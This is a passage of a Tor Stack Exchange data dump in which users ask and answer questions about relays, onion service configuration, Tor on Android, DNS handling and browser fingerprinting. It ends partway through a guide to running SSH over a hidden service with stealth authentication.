  <row Id="22541" PostTypeId="1" CreationDate="2021-07-23T12:48:13.977" Score="1" ViewCount="88" Body="&lt;p&gt;When I'm using whonix,&#xA;I frequently see ip address 255.255.255.255:443 on &amp;quot;onion circuits&amp;quot;.&#xA;Why is local braodcast is displayed as tor destination ?&#xA;And this address remains even after I close my browser.&#xA;I've never seen this address on &amp;quot;onion circuits&amp;quot; ,when I'm using tails or other distros with tbb and &amp;quot;onion circuits&amp;quot;.&#xA;This happens in both qubes-whonix and normal whonix.&lt;/p&gt;&#xA;" OwnerUserId="32923" LastActivityDate="2021-07-23T12:48:13.977" Title="local broadcast is displayed on &quot;onion circuits&quot;?" Tags="|whonix|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22544" PostTypeId="2" ParentId="20004" CreationDate="2021-07-25T01:15:39.960" Score="0" Body="&lt;p&gt;Yes, they are real: as on clearnet, the Tor network &lt;em&gt;is&lt;/em&gt; a &amp;quot;global village* where you can find all kind of stuff. They are real: sites, forums and a feed lists&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-25T01:15:39.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22545" PostTypeId="2" ParentId="21672" CreationDate="2021-07-25T01:18:02.380" Score="0" Body="&lt;p&gt;Tor  network is supposed to be changing, so - it's OK and it's not a hack: even an ADSL based home node can become a guard node, there're no limitations&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-25T01:18:02.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22546" PostTypeId="2" ParentId="20270" CreationDate="2021-07-25T20:09:08.617" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/torspec/-/blob/main/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;spec for the v3 onion services&lt;/a&gt;, starting with section 2.2, explains it rather well:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2.2. Locating, uploading, and downloading hidden service descriptors&#xA;[HASHRING]&lt;/p&gt;&#xA;&lt;p&gt;To avoid attacks where a hidden service's descriptor is easily&lt;br /&gt;&#xA;targeted for censorship, we store them at different directories over&lt;br /&gt;&#xA;time, and use shared random values to prevent those directories from&lt;br /&gt;&#xA;being predictable far in advance.&lt;/p&gt;&#xA;&lt;p&gt;Which Tor servers hosts a hidden service depends on:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the current time period,&lt;/li&gt;&#xA;&lt;li&gt;the daily subcredential,&lt;/li&gt;&#xA;&lt;li&gt;the hidden service directories' public keys,&lt;/li&gt;&#xA;&lt;li&gt;a shared random value that changes in each time period,&lt;/li&gt;&#xA;&lt;li&gt;a set of network-wide networkstatus consensus parameters.&#xA;(Consensus parameters are integer values voted on by authorities&#xA;and published in the consensus documents, described in&#xA;dir-spec.txt, section 3.3.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Section 2.2.3 has the technical details.&lt;/p&gt;&#xA;&lt;p&gt;Explaining this in a non-technical manner is a bit harder. I guess you could think for Tor sorting all HSDirs in a particular order (based on their identity, and a public shared random value, …). Then Tor picks 4 HSDirs in that list where the position within that list is determined by the onion address (=public key) and some other factors. Finally, clients just do the same to find to find out which HSDirs have a descriptor. Client and service will agree on which HSDirs to use because all information needed to make that determination is known by both.&lt;/p&gt;&#xA;&lt;p&gt;The deprecated and soon unsupported&#xA;&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/torspec/-/blob/main/rend-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;v2 onion services&lt;/a&gt; used a time-based approach rather than a shared random value.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/torspec/-/blob/main/srv-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Shared Random Subsystem Specification&lt;/a&gt; may be of interest as well.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2021-07-25T20:26:23.387" LastActivityDate="2021-07-25T20:26:23.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22547" PostTypeId="2" ParentId="19421" CreationDate="2021-07-26T12:03:33.000" Score="1" Body="&lt;p&gt;As per &lt;a href=&quot;https://blog.torproject.org/node/2041&quot; rel=&quot;nofollow noreferrer&quot;&gt;changelog&lt;/a&gt;, Tor, starting with 0.4.6, no longer publishes any DirPort:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Removed features (relay):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Because DirPorts are only used on authorities, relays no longer advertise them. Similarly, self-testing for DirPorts has been&#xA;disabled, since an unreachable DirPort is no reason for a relay not to&#xA;advertise itself. (Configuring a DirPort will still work, for now.)&#xA;Closes ticket &lt;a href=&quot;https://bugs.torproject.org/tpo/core/tor/40282&quot; rel=&quot;nofollow noreferrer&quot;&gt;40282&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;DirPort is deprecated and should no longer be configured.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2021-07-26T12:03:33.000" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22548" PostTypeId="2" ParentId="22508" CreationDate="2021-07-26T19:32:54.977" Score="1" Body="&lt;p&gt;Yes, correct, it should be some nicely round number.&lt;/p&gt;&#xA;&lt;p&gt;Sadly, there are still some bugs in the implementation. The ones I've observed myself are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;high-DPI screens can be at fault (&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40081&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue 40081&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;zooming (&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/32253&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue 32253&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I could not find any bugs indicating that fitting a window to the screen could cause this, as suggested by Alexey. If that is what you observe, please &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;report it as bug&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2021-07-26T19:32:54.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22549" PostTypeId="1" CreationDate="2021-07-27T08:20:56.860" Score="0" ViewCount="198" Body="&lt;p&gt;I am trying to upload new profile picture to twitter using tor (image has all exif data deleted), however once I upload image that twitter displays is broken, it basically just shows colourful vertical lines, kinda like old tv static.&lt;/p&gt;&#xA;&lt;p&gt;I assume this is due to some setting in Tor not allowing this? Is it possible to bypass it and upload an image?&lt;/p&gt;&#xA;" OwnerDisplayName="user32944" LastActivityDate="2021-07-27T08:20:56.860" Title="Changing twitter profile picture in tor results in broken / static like image" Tags="|settings|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22550" PostTypeId="1" AcceptedAnswerId="22553" CreationDate="2021-07-27T09:28:53.547" Score="0" ViewCount="426" Body="&lt;p&gt;My 7 year old relay was down for a week.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;code&gt;torrc&lt;/code&gt; I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RelayBandwidthRate 180 MBytes&#xA;RelayBandwidthBurst 200 MBytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But even so I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Advertised Bandwidth 0 B/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/63C6AB74A5C288C2159DDC783BB00F88AB44427C&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/63C6AB74A5C288C2159DDC783BB00F88AB44427C&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I understand that Advertised Bandwidth is computed from what others measure, but if the Advertised Bandwidth is 0 why would anyone test if that is true?&lt;/p&gt;&#xA;&lt;p&gt;(I perfectly understand why it is being kicked out as Guard node for the next 14 days).&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2021-07-28T18:13:56.503" Title="Advertised Bandwidth 0 B/s: Why?" Tags="|bandwidth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22551" PostTypeId="2" ParentId="22540" CreationDate="2021-07-27T18:57:10.720" Score="0" Body="&lt;p&gt;No one else should be able to know the guard node of an onion service, but in practice this is not always the case. This is known as a guard discovery attack, and a few of these are described in academic literature. One good example is &lt;a href=&quot;https://crysp.uwaterloo.ca/courses/pet/F18/cache/petsymposium.org/2018/files/papers/issue2/popets-2018-0011.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Dropping on the Edge: Flexibility and Traffic Confirmation in Onion Routing Protocols&amp;quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-07-27T18:57:10.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22552" PostTypeId="2" ParentId="22539" CreationDate="2021-07-28T18:08:16.700" Score="1" Body="&lt;p&gt;Sadly, getting bridges from &lt;code&gt;bridges.torproject.org&lt;/code&gt; automatically to torrc is not possible without some kind of automation. As for what can be done, you have these options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a program that solves captchas (you can use &amp;quot;captcha solving services&amp;quot; for that, just google it and you'll find a bunch of sites that can do that) for you and sets the bridges to torrc config for you.&lt;/li&gt;&#xA;&lt;li&gt;Get gmail or riseup (don't even bother) email and send an email to &lt;code&gt;bridges@torproject.org&lt;/code&gt; through the script that parses the response and sets the bridges in the config.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Anyhow, you'll need to create a script like that yourself, since I've never heard of anything like that done before.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Maybe tor daemon has a built-in bridges?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Sadly, no. It's a Tor Browser feature only.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-28T18:08:16.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22553" PostTypeId="2" ParentId="22550" CreationDate="2021-07-28T18:13:56.503" Score="1" Body="&lt;p&gt;Well, seeing as your advertised bandwidth is now &lt;code&gt;16.44 MiB/s&lt;/code&gt;, this confirms what I had in mind. All you needed to do is wait a bit, I had this problem too. This might be because someone tested your bandwidth while you were down, I think it can take up to 48 hours to recheck your bandwidth again.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-28T18:13:56.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22554" PostTypeId="2" ParentId="22467" CreationDate="2021-07-28T18:41:13.983" Score="1" Body="&lt;p&gt;&lt;code&gt;secret_id_key&lt;/code&gt; is an RSA key and &lt;code&gt;ed25519_master_id_key&lt;/code&gt; is a Ed25519 key used for Hidden Services v3.&lt;/p&gt;&#xA;&lt;p&gt;Here is what the spec says about it: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n127&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n127&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0.1. Improvements over previous versions.&lt;/p&gt;&#xA;&lt;p&gt;Here is a list of improvements of this proposal over the legacy hidden&#xA;services:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Better crypto (replaced SHA1/DH/RSA1024 with SHA3/ed25519/curve25519)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Improved directory protocol leaking less to directory servers.&lt;/li&gt;&#xA;&lt;li&gt;Improved directory protocol with smaller surface for targeted attacks.&lt;/li&gt;&#xA;&lt;li&gt;Better onion address security against impersonation.&lt;/li&gt;&#xA;&lt;li&gt;More extensible introduction/rendezvous protocol.&lt;/li&gt;&#xA;&lt;li&gt;Offline keys for onion services&lt;/li&gt;&#xA;&lt;li&gt;Advanced client authorization&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-28T18:41:13.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22555" PostTypeId="2" ParentId="22497" CreationDate="2021-07-29T09:06:23.870" Score="1" Body="&lt;p&gt;Since I saw &lt;a href=&quot;https://github.com/cathugger/mkp224o/issues/53#issuecomment-874621551&quot; rel=&quot;nofollow noreferrer&quot;&gt;your issue on GitHub closed by yourself&lt;/a&gt;, I think I should mention what helped you solve your issue in the answer.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Issue solved by using &lt;a href=&quot;https://github.com/cretz/bine/torutil/ed25519&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cretz/bine/torutil/ed25519&lt;/a&gt;.&lt;br /&gt;&#xA;See &lt;a href=&quot;https://stackoverflow.com/questions/44810708/ed25519-public-result-is-different&quot;&gt;https://stackoverflow.com/questions/44810708/ed25519-public-result-is-different&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/44874097&quot;&gt;https://stackoverflow.com/a/44874097&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This is due to different ed25519 private key formats. An ed25519 key starts out as a 32 byte seed. This seed is hashed with SHA512 to produce 64 bytes (a couple of bits are flipped too). The first 32 bytes of these are used to generate the public key (which is also 32 bytes), and the last 32 bytes are used in the generation of the signature.&lt;/p&gt;&#xA;&lt;p&gt;The Golang private key format is the 32 byte seed concatenated with the 32 byte public key. The private keys in the Bittorrent document you are using are the 64 byte result of the hash (or possibly just 64 random bytes that are used the same way as the hash result).&lt;/p&gt;&#xA;&lt;p&gt;Since it’s not possible to reverse the hash, you can’t convert the Bittorrent keys to a format that the Golang API will accept.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-29T09:06:23.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22556" PostTypeId="2" ParentId="22499" CreationDate="2021-07-29T09:39:04.290" Score="1" Body="&lt;p&gt;Currently, there is only two official methods of using Tor on Android:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you only need the Tor Browser, you can download the release version of it (&lt;a href=&quot;https://f-droid.org/packages/org.torproject.torbrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;F-Droid&lt;/code&gt;&lt;/a&gt;) or the alpha version of it (&lt;a href=&quot;https://f-droid.org/packages/org.torproject.torbrowser_alpha&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;F-Droid&lt;/code&gt;&lt;/a&gt;) for Android.&lt;/li&gt;&#xA;&lt;li&gt;If you need to use tor outside of Tor Browser, you can use Orbot (&lt;a href=&quot;https://f-droid.org/packages/org.torproject.android&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;F-Droid&lt;/code&gt;&lt;/a&gt;) VPN mode (promiscuous mode for root users have been discontinued a long time ago and for a good reason). If you want, you can pass all of your apps through the vpn or only the specific ones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;As for what you said in your question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So, comparmentalize what you do, &amp;amp; whos services you use. If you make 2 connections (1 anon &amp;amp; 1 non-anon) to a server at the same time, you're screwed. To avoid these pitfalls, it's best not to do anything else when using TOR.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;True, but sadly, there isn't anything like Tails for Android smartphones. But, if you have enough free time, you can setup an application like AFWall that can deny internet access to certain apps over certain connections.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It wasn't until after about the 3rd artical mentioned the Orbot &amp;amp; Orfox combo that I started to notice that those articles seemed dated &amp;amp; maybe obsolete. Another article even mentioned Orwall. So, I am just wanting to narrow down my choices before I continue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Orfox is the old name of Tor Browser on Android. Also Orwall's last source code change was at Jul 30, 2016, so it's safe to say it was deprecated and shouldn't be used. Currently Orbot can do everything Orwall can do and much more, so there isn't a reason not to use it.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Which method should I opt for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Using Tor Browser is the way to go if you only need to browse the web. If you need to proxy other applications on your Android, you need to use Orbot. If you have some exotic application that can't be interfaced with Orbot easily, you can still use Orbot's SOCKS5 proxy (usually available at &lt;code&gt;127.0.0.1:9050&lt;/code&gt;, just like the regular tor for pc).&lt;br /&gt;&#xA;Any other application is probably deprecated by now and if not, should be used under extreme caution (as you said, &amp;quot;Tor is only as strong as its weakest link&amp;quot;, so if you install some malware on your device, nothing can save you).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; the links to F-Droid apps lead to a 404 page on regular browsers, make sure to open those links on mobile with f-droid installed and Guardian Project repositories enabled.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-29T09:39:04.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22557" PostTypeId="2" ParentId="22469" CreationDate="2021-07-29T09:45:27.700" Score="0" Body="&lt;p&gt;It is possible, but the amount of telemetry and other information that comes with using a proprietary syncing solution like Feedly makes it impossible to do anonymously without revealing your real IP to the Feedly servers. To begin with, I would recommend using a more privacy-conscious open-source solution (maybe something self-hosted would be a good start) and then start using Tor for it.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-29T09:45:27.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22558" PostTypeId="2" ParentId="22500" CreationDate="2021-07-29T09:55:02.170" Score="0" Body="&lt;p&gt;Considering torrc default onion port is 80 and your nginx is configured to listen on port 8080, you should change the option &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#HiddenServicePort&quot; rel=&quot;nofollow noreferrer&quot;&gt;HiddenServicePort&lt;/a&gt; to reflect that&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4 id=&quot;hiddenserviceport-virtport-target-5u9f&quot;&gt;HiddenServicePort VIRTPORT [TARGET]&lt;/h4&gt;&#xA;&lt;p&gt;Configure a virtual port VIRTPORT for a hidden service. You may use this option multiple times; each time applies to the service using the most recent HiddenServiceDir. By default, this option maps the virtual port to the same port on 127.0.0.1 over TCP. You may override the target port, address, or both by specifying a target of addr, port, addr:port, or unix:path. (You can specify an IPv6 target as [addr]:port. Unix paths may be quoted, and may use standard C escapes.) You may also have multiple lines with the same VIRTPORT: when a user connects to that VIRTPORT, one of the TARGETs from those lines will be chosen at random. Note that address-port pairs have to be comma-separated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So in your case, you should write &lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&lt;/code&gt; in your torrc config and you should be fine without changing your nginx config.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-29T09:55:02.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22559" PostTypeId="2" ParentId="22461" CreationDate="2021-07-29T19:55:10.537" Score="0" Body="&lt;p&gt;Tor browser does not use regular dns, instead, it queries DNS through exit nodes using a custom cell.&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://tor.stackexchange.com/a/26/17825&quot;&gt;https://tor.stackexchange.com/a/26/17825&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor clients do not, in general, directly do DNS requests. When you open a connection through the tor network you usually ask your client (on its socks ports) to connect you to a hostname and port, say &lt;a href=&quot;http://www.example.com:80&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com:80&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your tor client, once it has created a circuit, will send that hostname and port to the exit node in its RELAY_BEGIN cell.&lt;/p&gt;&#xA;&lt;p&gt;The exit node will then do a DNS resolve and open a TCP connection to the target. Once that's established it will tell your client that the connection is open, and for informational purposes will also tell your client what address that hostname resolved to.&lt;/p&gt;&#xA;&lt;p&gt;Tor, in addition to that, has some sort of &amp;quot;remote DNS resolve&amp;quot; protocol built in. This support allows clients to query for certain resource types, like IPv4 or IPv6 addresses. Here too, the exit node does the actual DNS packet sending and receiving and just relays the answer to the client.&lt;/p&gt;&#xA;&lt;p&gt;No UDP packets are actually ever routed from the client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-07-29T19:55:10.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22561" PostTypeId="2" ParentId="21244" CreationDate="2021-07-30T00:32:20.927" Score="0" Body="&lt;p&gt;TBB's generalization beats Brave's randomization.&lt;/p&gt;&#xA;&lt;p&gt;If you view a product page on Amazon using TBB, then go off and read product reviews on another site for a while, then go back to Amazon, Amazon won't be able to tell that the two product views are from the same user.  All Amazon will be able to tell is that the two views are from people using TBB.&lt;/p&gt;&#xA;&lt;p&gt;If you view a product page on Amazon using Brave, Amazon will be able to catch your session fingerprint, and then tell that all other product views from that fingerprint are from the same user.  (In theory, Amazon could then track you across session fingerprints based on what sorts of products you view, but I don't think they actually do this -- the downsides of false positives outweigh the advantages.)&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-07-30T00:32:20.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22562" PostTypeId="1" CreationDate="2021-07-30T18:28:25.220" Score="3" ViewCount="162" Body="&lt;p&gt;I am noticing something strange but I can't find any info by &amp;quot;Inspecting elements&amp;quot;. I notice that most of deep web stores are using the same CMS/Framework/Script (whatever it is). I am trying to find which is it. I will post some images, all from different stores for you to see the similarities.&lt;/p&gt;&#xA;&lt;p&gt;Store #1:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9RhF0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9RhF0.png&quot; alt=&quot;Screenshot of store display&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Store #2:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ajMwk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajMwk.png&quot; alt=&quot;Screenshot of another store with identically configured display&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Store #3:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZxIJq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZxIJq.png&quot; alt=&quot;Screenshot of another store with only minor display differences&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32976" LastEditorUserId="25432" LastEditDate="2021-08-08T19:20:24.813" LastActivityDate="2022-01-06T03:02:40.257" Title="Why almost all deep web shops use the same CMS, and which is it?" Tags="|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22563" PostTypeId="2" ParentId="21985" CreationDate="2021-08-04T20:11:19.913" Score="1" Body="&lt;p&gt;Over time, web providers are catching on the the fact that the visually impaired cannot easily solve CAPTCHAs.  There are many tools that will solve the original style of CAPTCHA for you, one example is  &lt;a href=&quot;https://captchabegone.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://captchabegone.com/&lt;/a&gt; which should be able to intercept and solve a CAPTCHA on an onion site.  At the moment, tools such as this are your best bet.  All you can do is some trial and error.&lt;/p&gt;&#xA;&lt;p&gt;Going beyond this...&lt;br /&gt;&#xA;If the site uses the more modern reCAPTCHA - the sort that asks you to click on squares containing cars or similar visual tests - they have an audio button which should be detected by browsers for the blind, as shown &lt;a href=&quot;https://support.google.com/recaptcha/answer/6175971?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt; here &lt;/a&gt;.  The problem is that the likes of &lt;em&gt;ChromeVox&lt;/em&gt;, &lt;em&gt;JAWS&lt;/em&gt;, &lt;em&gt;NVDA&lt;/em&gt; or &lt;em&gt;VoiceOver&lt;/em&gt; won't display onion sites.  But then, reCAPTCHAs that rely upon Google servers for authentication aren't likely to be found on onion sites.&lt;/p&gt;&#xA;&lt;p&gt;The W3C is actively trying to produce an alternative to CAPTCHA for use by people with various impairments, &lt;a href=&quot;https://www.w3.org/TR/turingtest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;see here for current thinking&lt;/a&gt;, but again, onion sites are not being considered.&lt;/p&gt;&#xA;&lt;p&gt;The underlying issue is that people putting up sites on Tor don't pay attention to disability legislation.  Also, of course, they are unlikely to be found and prosecuted for it.&lt;/p&gt;&#xA;" OwnerUserId="25432" LastActivityDate="2021-08-04T20:11:19.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22564" PostTypeId="1" CreationDate="2021-08-05T18:46:21.370" Score="2" ViewCount="167" Body="&lt;p&gt;If that's the case, how come law enforcement is not forcing them to close their connections with illegal hidden services?&lt;/p&gt;&#xA;" OwnerUserId="33014" LastEditorUserId="31632" LastEditDate="2021-08-06T15:26:03.380" LastActivityDate="2021-08-07T19:51:03.453" Title="Do introduction points know their hidden services' onion addresses?" Tags="|darknet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22565" PostTypeId="1" CreationDate="2021-08-05T22:14:09.120" Score="0" ViewCount="129" Body="&lt;p&gt;Until now i have run an opevpn server over Tor as a Hidden Service v2 on port 443 tcp.&#xA;Am now trying the same with v3 Hidden Service and the connection is timing out. I note that the HSv3 creates a unique private_key besides the hs_ed25519_private and server keys when using a secure port such as port 443 which is not the case when using unsecure ports such as port 80? How do you retain anonymity with unique private_keys unless you use an isolated proxy environment such as Whonix?&#xA;Does anyone have advice or a guide to setup an openvpn server on a HSv3 over the Tor network on port 443 tcp?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="33015" LastEditorUserId="33016" LastEditDate="2021-08-08T19:20:35.387" LastActivityDate="2022-01-06T05:00:45.077" Title="HSv3 openvpn server setup" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22566" PostTypeId="2" ParentId="9915" CreationDate="2021-08-06T02:23:30.317" Score="0" Body="&lt;p&gt;I do it this way on my machines running Linux Devuan OS;&lt;/p&gt;&#xA;&lt;p&gt;Install Tor openssh-server on your server.&#xA;Setup a hidden service and stealth cookie for each remote user (Peter and Paul)&#xA;Add the following to your server torrc file;&lt;/p&gt;&#xA;&lt;p&gt;HiddenServiceDir /var/lib/tor/ssh-hs/&lt;/p&gt;&#xA;&lt;p&gt;HiddenServiceVersion 2  #(note version 3 HS no longer supports torsocks ssh)&lt;/p&gt;&#xA;&lt;p&gt;HiddenServiceAuthorizeClient stealth Peter, Paul&lt;/p&gt;&#xA;&lt;p&gt;HiddenServicePort 22 127.0.0.1:22&lt;/p&gt;&#xA;&lt;p&gt;Restart Tor&lt;/p&gt;&#xA;&lt;p&gt;cat /var/lib/tor/ssh-hs/hostname&lt;/p&gt;&#xA;&lt;p&gt;waocn6y277pycxqe.onion pMaCvZ9O96oicewJOQIpdB # client: Peter&lt;/p&gt;&#xA;&lt;p&gt;ahc6pdvxjc3ojchv.onion f3cJeHARFIbGx+TX0itZex # client: Paul&lt;/p&gt;&#xA;&lt;p&gt;The 16 characters plus .onion is the hidden service address and&#xA;second column is the stealth authentication cookie.&#xA;Provide the onion address and the stealth cookie to the intended&#xA;recipient, Peter and Paul.&lt;/p&gt;&#xA;&lt;p&gt;To access the system Peter and Paul need to add the stealth cookie,&#xA;to their torrc file as follows;&lt;/p&gt;&#xA;&lt;p&gt;HidServAuth waocn6y277pycxqe.onion pMaCvZ9O96oicewJOQIpdB # client: Peter&lt;/p&gt;&#xA;&lt;p&gt;HidServAuth ahc6pdvxjc3ojchv.onion f3cJeHARFIbGx+TX0itZex # client: Paul&lt;/p&gt;&#xA;&lt;p&gt;Restart Tor on these machines&lt;/p&gt;&#xA;&lt;p&gt;HOW TO CONNECT&#xA;METHOD 1&#xA;Install torsocks on the remote machines.&#xA;Peter can now access the system using the following command:&lt;/p&gt;&#xA;&lt;p&gt;torsocks ssh waocn6y277pycxqe.onion&lt;/p&gt;&#xA;&lt;p&gt;and Paul&lt;/p&gt;&#xA;&lt;p&gt;torsocks ssh ahc6pdvxjc3ojchv.onion&lt;/p&gt;&#xA;&lt;p&gt;METHOD 2&#xA;Set the ssh-server to accept connections on the ssh-hs onion address and the address 127.0.0.1:22(same as HS)&#xA;Add users Peter, Paul to sshd on the server.&#xA;Peter and 